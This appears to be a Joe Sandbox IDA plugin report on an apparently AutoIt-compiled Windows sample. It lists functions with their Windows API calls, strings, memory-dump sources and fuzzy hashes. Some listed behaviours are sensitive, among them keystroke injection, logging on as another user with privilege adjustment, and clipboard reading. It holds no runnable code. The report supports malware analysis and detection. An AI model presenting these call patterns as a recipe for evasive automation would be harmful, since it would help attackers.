Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction ID: f85abd1420654202ccdfd00e87e09435d81d6e69f4f8da32cd9bf9d7bf7cbf62
Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction Fuzzy Hash: EDF03A8DA0924765FE24F6616807278D5905FC8BA5F8847B0D92ED62C1DE6CE440B231

Non-executed Functions

Function 00007FF73A2817C0 Relevance: 70.6, APIs: 38, Strings: 2, Instructions: 587windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

GetWindowLongW.USER32 ref: 00007FF73A28189B
SendMessageW.USER32 ref: 00007FF73A2818C9
SendMessageW.USER32 ref: 00007FF73A2818F4
GetKeyState.USER32 ref: 00007FF73A2819A7
GetKeyState.USER32 ref: 00007FF73A2819BB
SendMessageW.USER32 ref: 00007FF73A2819D8
GetKeyState.USER32 ref: 00007FF73A2819E6
SendMessageW.USER32 ref: 00007FF73A281A16
SendMessageW.USER32 ref: 00007FF73A281A9C
SendMessageW.USER32 ref: 00007FF73A281AC7
GetCursorPos.USER32 ref: 00007FF73A281B66
ScreenToClient.USER32 ref: 00007FF73A281B74
SendMessageW.USER32 ref: 00007FF73A281BD7
SendMessageW.USER32 ref: 00007FF73A281BFF
SendMessageW.USER32 ref: 00007FF73A281C32
SendMessageW.USER32 ref: 00007FF73A281C64
SendMessageW.USER32 ref: 00007FF73A281C86
SendMessageW.USER32 ref: 00007FF73A281C9C
GetCursorPos.USER32 ref: 00007FF73A281CC4
ScreenToClient.USER32 ref: 00007FF73A281CD2
GetParent.USER32 ref: 00007FF73A281CF1
SendMessageW.USER32 ref: 00007FF73A281D54
SendMessageW.USER32 ref: 00007FF73A281D7E
ClientToScreen.USER32 ref: 00007FF73A281DD1
TrackPopupMenuEx.USER32 ref: 00007FF73A281E0E
SendMessageW.USER32 ref: 00007FF73A281E33
SendMessageW.USER32 ref: 00007FF73A281E5A
ClientToScreen.USER32 ref: 00007FF73A281E9F
TrackPopupMenuEx.USER32 ref: 00007FF73A281EDF
GetWindowLongW.USER32 ref: 00007FF73A281F70
DefDlgProcW.USER32 ref: 00007FF73A282197

Strings

@GUI_DRAGID, xrefs: 00007FF73A28210C
F, xrefs: 00007FF73A281E60

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
String ID: @GUI_DRAGID$F
API String ID: 1993697042-4164748364
Opcode ID: 1f011ef66255c26181e289d487c817b34358f478307af32ea451c005801c1275
Instruction ID: 98b8e30c9bcc6b509dc73eb973848859aed805806c23af584891cfc4cbaa06bd
Opcode Fuzzy Hash: 1f011ef66255c26181e289d487c817b34358f478307af32ea451c005801c1275
Instruction Fuzzy Hash: C052A13AA18A42A6FB14AB25D4816B9B764FBC4B80F904175EF5D83BA5CF3CE450F710

Function 00007FF73A27CE8C Relevance: 69.5, APIs: 46, Instructions: 540windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32 ref: 00007FF73A27CF8D
LoadImageW.USER32 ref: 00007FF73A27CFAE
SendMessageW.USER32 ref: 00007FF73A27CFCE
DeleteObject.GDI32 ref: 00007FF73A27CFE0
DestroyIcon.USER32 ref: 00007FF73A27CFF2

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: DeleteDestroyIconImageLoadLongMessageObjectSendWindow
String ID:
API String ID: 3481653762-0
Opcode ID: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
Instruction ID: 64eb0f4e1293ccee90b0baa85f7d613425a33881c62eeeda791950eb67465f5e
Opcode Fuzzy Hash: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
Instruction Fuzzy Hash: 3432BE3AA08A8196F750EF25D4457A9B7A0FBC4B84F804271EE4E43B99CF3DE545EB10

Function 00007FF73A27BA0C Relevance: 54.8, APIs: 30, Strings: 1, Instructions: 500windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF73A27BAE3
SendMessageW.USER32 ref: 00007FF73A27BB33
IsMenu.USER32 ref: 00007FF73A27BB4E
GetMenuItemInfoW.USER32 ref: 00007FF73A27BB94
SendMessageW.USER32 ref: 00007FF73A27BC27
SendMessageW.USER32 ref: 00007FF73A27BC4E
SendMessageW.USER32 ref: 00007FF73A27BC67
SendMessageW.USER32 ref: 00007FF73A27BC82
SendMessageW.USER32 ref: 00007FF73A27BCA6
SendMessageW.USER32 ref: 00007FF73A27BCD4
SendMessageW.USER32 ref: 00007FF73A27BCF0
SendMessageW.USER32 ref: 00007FF73A27BD14
GetWindowLongW.USER32 ref: 00007FF73A27BD4F
SendMessageW.USER32 ref: 00007FF73A27BD9C
SendMessageW.USER32 ref: 00007FF73A27BDC0
SendMessageW.USER32 ref: 00007FF73A27BE5A
wsprintfW.USER32 ref: 00007FF73A27BE91
SendMessageW.USER32 ref: 00007FF73A27BEAE
GetWindowTextW.USER32 ref: 00007FF73A27BEE3
SendMessageW.USER32 ref: 00007FF73A27BF05
SendMessageW.USER32 ref: 00007FF73A27BF2E
GetWindowTextW.USER32 ref: 00007FF73A27BF5B
GetWindowLongW.USER32 ref: 00007FF73A27BFF2
SendMessageW.USER32 ref: 00007FF73A27C026
SendMessageW.USER32 ref: 00007FF73A27C067
SendMessageW.USER32 ref: 00007FF73A27C0D0
CharNextW.USER32 ref: 00007FF73A27C10B
SendMessageW.USER32 ref: 00007FF73A27C152
SendMessageW.USER32 ref: 00007FF73A27C189

Strings

%d/%02d/%02d, xrefs: 00007FF73A27BE76

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$LongMenuText$CharInfoItemNextwsprintf
String ID: %d/%02d/%02d
API String ID: 1218376639-328681919
Opcode ID: 88d0c6dc924de39b2680e6b6a0383be569fd99a49510e92f6d82c1925c8df759
Instruction ID: 3928575f221f32cf5c1ab18e2e1e278c00a1c6145a3e0f6f36eb7aebe97b1f9f
Opcode Fuzzy Hash: 88d0c6dc924de39b2680e6b6a0383be569fd99a49510e92f6d82c1925c8df759
Instruction Fuzzy Hash: FA12143AA0964296F710AF25D8566BDA3A0EFC4B90F804175EE1E47BD5CF3DE502B720

Function 00007FF73A27DB18 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF73A27DBEA
SendMessageW.USER32 ref: 00007FF73A27DC8E
SendMessageW.USER32 ref: 00007FF73A27DCAD
SendMessageW.USER32 ref: 00007FF73A27DCE6
GetMenuItemInfoW.USER32 ref: 00007FF73A27DD10
SetMenuItemInfoW.USER32 ref: 00007FF73A27DD70
SetMenuDefaultItem.USER32 ref: 00007FF73A27DD86
GetMenuItemInfoW.USER32 ref: 00007FF73A27DD96
SetMenuDefaultItem.USER32 ref: 00007FF73A27DDB4
DrawMenuBar.USER32 ref: 00007FF73A27DDBE
SendMessageW.USER32 ref: 00007FF73A27DE57
SendMessageW.USER32 ref: 00007FF73A27DE92
GetWindowLongW.USER32 ref: 00007FF73A27DEBD
SendMessageW.USER32 ref: 00007FF73A27DEFC
SendMessageW.USER32 ref: 00007FF73A27DF3F
EnableWindow.USER32 ref: 00007FF73A27DFA7
EnableWindow.USER32 ref: 00007FF73A27DFBD
ShowWindow.USER32 ref: 00007FF73A27E03E
ShowWindow.USER32 ref: 00007FF73A27E051
EnableWindow.USER32 ref: 00007FF73A27E06B
SendMessageW.USER32 ref: 00007FF73A27E0A0
SendMessageW.USER32 ref: 00007FF73A27E0C4
GetFocus.USER32 ref: 00007FF73A27E0CA
MoveWindow.USER32 ref: 00007FF73A27E18A
SendMessageW.USER32 ref: 00007FF73A27E19F
GetWindowRect.USER32 ref: 00007FF73A27E1BE
MoveWindow.USER32 ref: 00007FF73A27E1F1
MoveWindow.USER32 ref: 00007FF73A27E21F

Strings

P, xrefs: 00007FF73A27DCFD

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
String ID: P
API String ID: 1208186926-3110715001
Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction ID: 42ef0105190eb562e7acdfe476c49c7a8eae3fe0709ea96ae43e48e775201aaf
Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction Fuzzy Hash: BC12767AA0864296F724AB25D4467BDA7A0FBC1784F900175EE4D43E95CF3EE940FB20

Function 00007FF73A2632AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF73A2651B9
SystemParametersInfoW.USER32 ref: 00007FF73A265312
SetRect.USER32 ref: 00007FF73A265358
AdjustWindowRectEx.USER32 ref: 00007FF73A26536B
CreateWindowExW.USER32 ref: 00007FF73A2653D6
GetClientRect.USER32 ref: 00007FF73A2653EB
CreateWindowExW.USER32 ref: 00007FF73A26546A
CreateDCW.GDI32 ref: 00007FF73A265486
GetStockObject.GDI32 ref: 00007FF73A265496
SelectObject.GDI32 ref: 00007FF73A2654A2
GetTextFaceW.GDI32 ref: 00007FF73A2654B3
GetDeviceCaps.GDI32 ref: 00007FF73A2654C0
DeleteDC.GDI32 ref: 00007FF73A2654CB
CreateFontW.GDI32 ref: 00007FF73A265530
SendMessageW.USER32 ref: 00007FF73A265546
CreateWindowExW.USER32 ref: 00007FF73A2655A8
SendMessageW.USER32 ref: 00007FF73A2655C6
SendMessageW.USER32 ref: 00007FF73A2655DE
CreateWindowExW.USER32 ref: 00007FF73A26563B
GetStockObject.GDI32 ref: 00007FF73A26564B
SendMessageW.USER32 ref: 00007FF73A265661
ShowWindow.USER32 ref: 00007FF73A265671

Strings

AutoIt v3, xrefs: 00007FF73A2653C5
DISPLAY, xrefs: 00007FF73A265473
msctls_progress32, xrefs: 00007FF73A26558C
A, xrefs: 00007FF73A265629
static, xrefs: 00007FF73A265463, 00007FF73A265622

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2439800395
Opcode ID: 88c8caf1e1f0b8ed22a318d824a8a9f16d1c793abf9b8bf73a32c8e20423bfa2
Instruction ID: bf8ae63955771c692b760661b97932a70242ff8fe78e0a8c6af7537ae0d28235
Opcode Fuzzy Hash: 88c8caf1e1f0b8ed22a318d824a8a9f16d1c793abf9b8bf73a32c8e20423bfa2
Instruction Fuzzy Hash: C0E1917A6087819AF714EF25E84166AB7A0FBC8B94F904135EE4E43B64CF7CE444EB10

Function 00007FF73A1F4514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF73A1F452F
FindWindowW.USER32 ref: 00007FF73A23A812
IsIconic.USER32 ref: 00007FF73A23A81E
ShowWindow.USER32 ref: 00007FF73A23A830
SetForegroundWindow.USER32 ref: 00007FF73A23A839
GetWindowThreadProcessId.USER32 ref: 00007FF73A23A84C
GetCurrentThreadId.KERNEL32 ref: 00007FF73A23A854
GetWindowThreadProcessId.USER32 ref: 00007FF73A23A862
AttachThreadInput.USER32 ref: 00007FF73A23A878
AttachThreadInput.USER32 ref: 00007FF73A23A886
AttachThreadInput.USER32 ref: 00007FF73A23A894
SetForegroundWindow.USER32 ref: 00007FF73A23A89D
MapVirtualKeyW.USER32 ref: 00007FF73A23A8B2
keybd_event.USER32 ref: 00007FF73A23A8C3
MapVirtualKeyW.USER32 ref: 00007FF73A23A8CD
keybd_event.USER32 ref: 00007FF73A23A8DF
MapVirtualKeyW.USER32 ref: 00007FF73A23A8E9
keybd_event.USER32 ref: 00007FF73A23A8FA
MapVirtualKeyW.USER32 ref: 00007FF73A23A904
keybd_event.USER32 ref: 00007FF73A23A916
SetForegroundWindow.USER32 ref: 00007FF73A23A91F
AttachThreadInput.USER32 ref: 00007FF73A23A93C
AttachThreadInput.USER32 ref: 00007FF73A23A94A
AttachThreadInput.USER32 ref: 00007FF73A23A958

Strings

Shell_TrayWnd, xrefs: 00007FF73A23A80B

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 3778422247-2988720461
Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction ID: b4fda2c428df79fb1ddb493b6336c33cd8aa77b1beb89168ddd362034481134f
Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction Fuzzy Hash: 8141B829F085125BF7146B26A81563EA396BFC8B91FC54070EC0A87B54DF3EE84AB710

Function 00007FF73A1D183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF73A1D18EA
DeleteObject.GDI32 ref: 00007FF73A1D194E
DeleteObject.GDI32 ref: 00007FF73A1D1956
DestroyIcon.USER32 ref: 00007FF73A1D195E
DestroyWindow.USER32 ref: 00007FF73A1D1966
ImageList_Destroy.COMCTL32 ref: 00007FF73A219C2A
MoveWindow.USER32 ref: 00007FF73A21A15B
SendMessageW.USER32 ref: 00007FF73A21A18F
SendMessageW.USER32 ref: 00007FF73A21A1AD
ImageList_Destroy.COMCTL32 ref: 00007FF73A21A1C2
ImageList_Destroy.COMCTL32 ref: 00007FF73A21A1D1

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
String ID:
API String ID: 3372153169-0
Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction ID: 03eb049fa7d11b9c9331be019b509d61b7f44ca9de37157bc63a666eb659835e
Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction Fuzzy Hash: 9422C22AA08682A5FB64AB25D8523BDB761FFC4B94F9441B1CA5E47694CF3DE440F320

Function 00007FF73A23CE68 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A23D5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF73A23D630
Part of subcall function 00007FF73A23D5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF73A23D66F
Part of subcall function 00007FF73A23D5CC: GetLastError.KERNEL32 ref: 00007FF73A23D682

LogonUserW.ADVAPI32 ref: 00007FF73A23CF1A
DuplicateTokenEx.ADVAPI32 ref: 00007FF73A23CF4D
CloseHandle.KERNEL32 ref: 00007FF73A23CF60
OpenWindowStationW.USER32 ref: 00007FF73A23CF7F
GetProcessWindowStation.USER32 ref: 00007FF73A23CF96
SetProcessWindowStation.USER32 ref: 00007FF73A23CFA3
OpenDesktopW.USER32 ref: 00007FF73A23CFC3
wcscpy.LIBCMT ref: 00007FF73A23D0A5
LoadUserProfileW.USERENV ref: 00007FF73A23D0B8
CreateEnvironmentBlock.USERENV ref: 00007FF73A23D0D8
CreateProcessAsUserW.ADVAPI32 ref: 00007FF73A23D12F

Part of subcall function 00007FF73A23D780: GetProcessHeap.KERNEL32 ref: 00007FF73A23D7A2
Part of subcall function 00007FF73A23D780: HeapAlloc.KERNEL32 ref: 00007FF73A23D7B4
Part of subcall function 00007FF73A23D780: GetCurrentProcess.KERNEL32 ref: 00007FF73A23D7BD
Part of subcall function 00007FF73A23D780: GetCurrentProcess.KERNEL32 ref: 00007FF73A23D7C6
Part of subcall function 00007FF73A23D780: DuplicateHandle.KERNEL32 ref: 00007FF73A23D7EA
Part of subcall function 00007FF73A23D780: GetCurrentProcess.KERNEL32 ref: 00007FF73A23D7F0
Part of subcall function 00007FF73A23D780: GetCurrentProcess.KERNEL32 ref: 00007FF73A23D7F9
Part of subcall function 00007FF73A23D780: DuplicateHandle.KERNEL32 ref: 00007FF73A23D81E
Part of subcall function 00007FF73A23D780: CreateThread.KERNEL32 ref: 00007FF73A23D844

UnloadUserProfile.USERENV ref: 00007FF73A23D16C
CloseWindowStation.USER32 ref: 00007FF73A23D185
CloseDesktop.USER32 ref: 00007FF73A23D193
SetProcessWindowStation.USER32 ref: 00007FF73A23D1A5
CloseHandle.KERNEL32 ref: 00007FF73A23D1B0
DestroyEnvironmentBlock.USERENV ref: 00007FF73A23D1C7

Strings

default, xrefs: 00007FF73A23CFB7
winsta0, xrefs: 00007FF73A23CF72
winsta0\default, xrefs: 00007FF73A23D054

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
String ID: default$winsta0$winsta0\default
API String ID: 3202303201-1423368268
Opcode ID: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
Instruction ID: a40524288880f45d27638dd43891efd80bec4c8047b9c0cf1dd80412ba1768fb
Opcode Fuzzy Hash: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
Instruction Fuzzy Hash: 04A19436B08B419AF710EF61E4412AAA3A5FB85B94F800675EE5D47B98CF3DE005E710

Function 00007FF73A1D2AE0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00007FF73A1D2BE8
GetSystemMetrics.USER32 ref: 00007FF73A1D2BF3
SystemParametersInfoW.USER32 ref: 00007FF73A1D2C25
GetSystemMetrics.USER32 ref: 00007FF73A1D2C2F
GetSystemMetrics.USER32 ref: 00007FF73A1D2C5A
SetRect.USER32 ref: 00007FF73A1D2C7D
AdjustWindowRectEx.USER32 ref: 00007FF73A1D2C90
CreateWindowExW.USER32 ref: 00007FF73A1D2CEF
SetWindowLongPtrW.USER32 ref: 00007FF73A1D2D0E
GetClientRect.USER32 ref: 00007FF73A1D2D30
GetStockObject.GDI32 ref: 00007FF73A1D2D4C
SendMessageW.USER32 ref: 00007FF73A1D2D5F

Part of subcall function 00007FF73A1D1CEC: GetCursorPos.USER32 ref: 00007FF73A1D1D1B
Part of subcall function 00007FF73A1D1CEC: ScreenToClient.USER32 ref: 00007FF73A1D1D3A
Part of subcall function 00007FF73A1D1CEC: GetAsyncKeyState.USER32 ref: 00007FF73A1D1D62
Part of subcall function 00007FF73A1D1CEC: GetAsyncKeyState.USER32 ref: 00007FF73A1D1D82

SetTimer.USER32 ref: 00007FF73A1D2D90

Strings

AutoIt v3 GUI, xrefs: 00007FF73A1D2CDF

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
Instruction ID: 730d3f90a91257cd2a89531b733d95a04353bfdbea4c554e83f564897ac0ba64
Opcode Fuzzy Hash: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
Instruction Fuzzy Hash: BBD17F3AA08A429AF714EF38E8517BD77A1FB84758F900175DA0E436A8DF3CE445E750

Function 00007FF73A1FF8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1FFC46
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1FFE69
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A200183
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A200396
memcpy_s.LIBCMT ref: 00007FF73A2005D1
memcpy_s.LIBCMT ref: 00007FF73A200664
memcpy_s.LIBCMT ref: 00007FF73A200818
memcpy_s.LIBCMT ref: 00007FF73A2009F2
memcpy_s.LIBCMT ref: 00007FF73A200AE7
memcpy_s.LIBCMT ref: 00007FF73A200B1F
memcpy_s.LIBCMT ref: 00007FF73A200BB6
memcpy_s.LIBCMT ref: 00007FF73A200CC7
memcpy_s.LIBCMT ref: 00007FF73A200D6F
memcpy_s.LIBCMT ref: 00007FF73A200DB5
memcpy_s.LIBCMT ref: 00007FF73A200FF1
memcpy_s.LIBCMT ref: 00007FF73A201060
memcpy_s.LIBCMT ref: 00007FF73A20109E
memcpy_s.LIBCMT ref: 00007FF73A201148
memcpy_s.LIBCMT ref: 00007FF73A20136C
memcpy_s.LIBCMT ref: 00007FF73A20155C

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID:
API String ID: 2880407647-0
Opcode ID: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
Instruction ID: 4e2354de0de2edddaadf7a34fffc48405dff3a0b064c9da464d7dc8b9653a6ee
Opcode Fuzzy Hash: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
Instruction Fuzzy Hash: 1203D476A091C29BF735DF249441BF9B7A5FB84788F800135DB0A5BB59DB38A900EB11

Function 00007FF73A260A6C Relevance: 30.2, APIs: 20, Instructions: 169clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF73A260AAA
IsClipboardFormatAvailable.USER32 ref: 00007FF73A260AB7
